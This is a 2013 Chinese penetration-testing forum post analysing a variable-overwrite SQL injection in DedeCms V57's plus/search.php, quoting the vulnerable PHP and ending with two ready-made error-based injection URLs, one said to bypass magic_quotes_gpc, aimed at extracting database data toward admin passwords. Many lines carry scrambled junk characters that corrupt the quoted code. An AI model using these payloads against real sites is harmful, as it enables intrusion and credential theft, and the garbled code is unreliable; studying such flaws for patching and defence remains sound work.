中国网络渗透测试联盟

标题: DedeCms V57 plus/search.php文件SQL注射 [打印本页]

---

作者: admin    时间: 2013-1-19 08:18
标题: DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
0 v' A: d* U# T$ s作者: c4rp3nt3r@0x50sec.org
% W% m5 O8 ]2 j4 Q: [Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
- ~, h" [" c  `0 X. @# L
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
; ?8 u  e" }# A& q/ u, F
" C8 W/ t/ y, T/ ~6 j! e) ?3 \, F============
) t5 X- T! k" n1 N

Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.

require_once(dirname(__FILE__).”/../include/common.inc.php”);
: x, C2 P! \2 a  v& Z7 W, lrequire_once(DEDEINC.”/arc.searchview.class.php”);
  _0 x# L0 P# M2 G
0 l  |0 b! O5 g8 C) Z5 U$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
3 h* ^+ E4 A9 r; K$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
8 ^: `/ c& k3 Q. V* b4 ?9 v$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
- `" |5 J$ G3 m0 N
* ]# L. _( K! K% Bif(!isset($orderby)) $orderby=”;
" Z' @4 w& H, I) f3 L  G% celse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
( i$ e& `8 g4 l7 q: g$ L2 V5 C5 Q

; n  C& y6 U% e5 W$ Mif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
) S! e; u# y  f% S8 \( A3 G
3 o! h) n- T5 J8 bif(!isset($keyword)){
    if(!isset($q)) $q = ”;
    $keyword=$q;
}
9 ~6 r+ x2 j$ e3 P( {
) u' ^3 i- y6 x5 S* P/ \$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
$ F: t! `# p/ W
//查找栏目信息
if(empty($typeid))
{
& S3 `) R( o) N. T    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
6 v# L! J+ k  X% [6 e' [    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
    {
/ B/ a3 r3 T  j' R        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
        fwrite($fp, “<”.”?php\r\n”);
* v. |& I9 D: W. i% V$ z+ }0 q6 W        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
        $dsql->Execute();
        while($row = $dsql->GetArray())
        {
2 s7 Z3 @/ V9 U; c' p            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
        }
( r+ A: L# H! z* d5 ?2 s+ B        fwrite($fp, ‘?’.'>’);
% z, P  Z6 S/ V. E  f& Q0 q        fclose($fp);
0 G) y; n) z! f; [* D    }
    //引入栏目缓存并看关键字是否有相关栏目内容
    require_once($typenameCacheFile);
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
3 V7 N, A, Q$ ~" j  y//
    if(isset($typeArr) && is_array($typeArr))
    {
4 Z- D6 T+ o: f! ~5 w        foreach($typeArr as $id=>$typename)
        {
# Q: B4 a' p2 b0 r0 b9 a: H
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
+ T7 Y! r6 k4 m( x            if($keyword != $keywordn)
! `# n; j& q& f2 s! o            {
                $keyword = $keywordn;
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
                break;
            }
        }
) B# }" O/ W6 d) x0 H& O    }
}
然后plus/search.php文件下面定义了一个 Search类的对象 .
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
8 U$ P3 d" _: d1 h/ W, t4 R6 A$this->TypeLink = new TypeLink($typeid);

TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.

$ i  [6 x- }5 i0 Kclass TypeLink
{
0 r) {& g. B  H5 J/ H! U5 y    var $typeDir;
    var $dsql;
3 l/ w) x7 H  F  s    var $TypeID;
" q  B9 |7 j" q, E) ?' W" _+ g    var $baseDir;
    var $modDir;
    var $indexUrl;
    var $indexName;
    var $TypeInfos;
8 `2 ]6 o7 F% Y+ j7 q! L    var $SplitSymbol;
    var $valuePosition;
    var $valuePositionName;
) |3 G. n9 v; S7 M% W% G    var $OptionArrayList;//构造函数///////
    //php5构造函数
    function __construct($typeid)
    {
& [% a( V9 A3 P& y5 ^: u0 q6 \& J        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
        $this->indexName = $GLOBALS['cfg_indexname'];
        $this->baseDir = $GLOBALS['cfg_basedir'];
0 R2 B/ Q0 l$ ^% T! h" U        $this->modDir = $GLOBALS['cfg_templets_dir'];
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
        $this->dsql = $GLOBALS['dsql'];
        $this->TypeID = $typeid;
        $this->valuePosition = ”;
1 |! X- f+ o; p: P, z        $this->valuePositionName = ”;
        $this->typeDir = ”;
0 K  q& B5 y; p! |/ M        $this->OptionArrayList = ”;

. j9 z# x, W% V* a- q, ]        //载入类目信息
, J5 i! t, {5 W: s7 j
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
`#@__channeltype` ch
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿

% z7 {; P/ ]$ H4 f9 q$ [6 u0 G  Y        if($typeid > 0)
        {
+ \, M# T: L& c. c# e% `& s* }9 f            $this->TypeInfos = $this->dsql->GetOne($query);
$ r9 f- l$ |% O5 b7 ~& }( C利用代码一 需要 即使magic_quotes_gpc = Off
% |$ _: o. ~1 D. F; k" ~3 x% f5 R
, ?* q/ l7 U! R( mwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
2 h4 ?  I  m% b' M3 j
4 e6 ^! n6 \) S! [5 \# f这只是其中一个利用代码… Search 类的构造函数再往下

0 h* g/ D9 _6 |8 @* m……省略
$this->TypeID = $typeid;
) |0 J1 ]* I* P* P1 p……省略
4 Q3 r" t: k: mif($this->TypeID==”0″){
            $this->ChannelTypeid=1;
: e' x3 f* A) U& o4 }        }else{
/ b6 X, v0 J/ ~. [4 z# z9 K5 l4 K            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
6 z' t) i) S+ G. Z2 c4 h! e//现在不鸡肋了吧亲…
            $this->ChannelTypeid=$row['channeltype'];

" l/ `5 s& ~% Y        }
* \1 h# H# t& z4 j9 _. {2 @0 n* K# G利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.

, g/ p: f7 e- bwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
$ J6 V3 v! k/ `( l2 }" @
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
$ y- v: K& |$ b6 x2 u

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2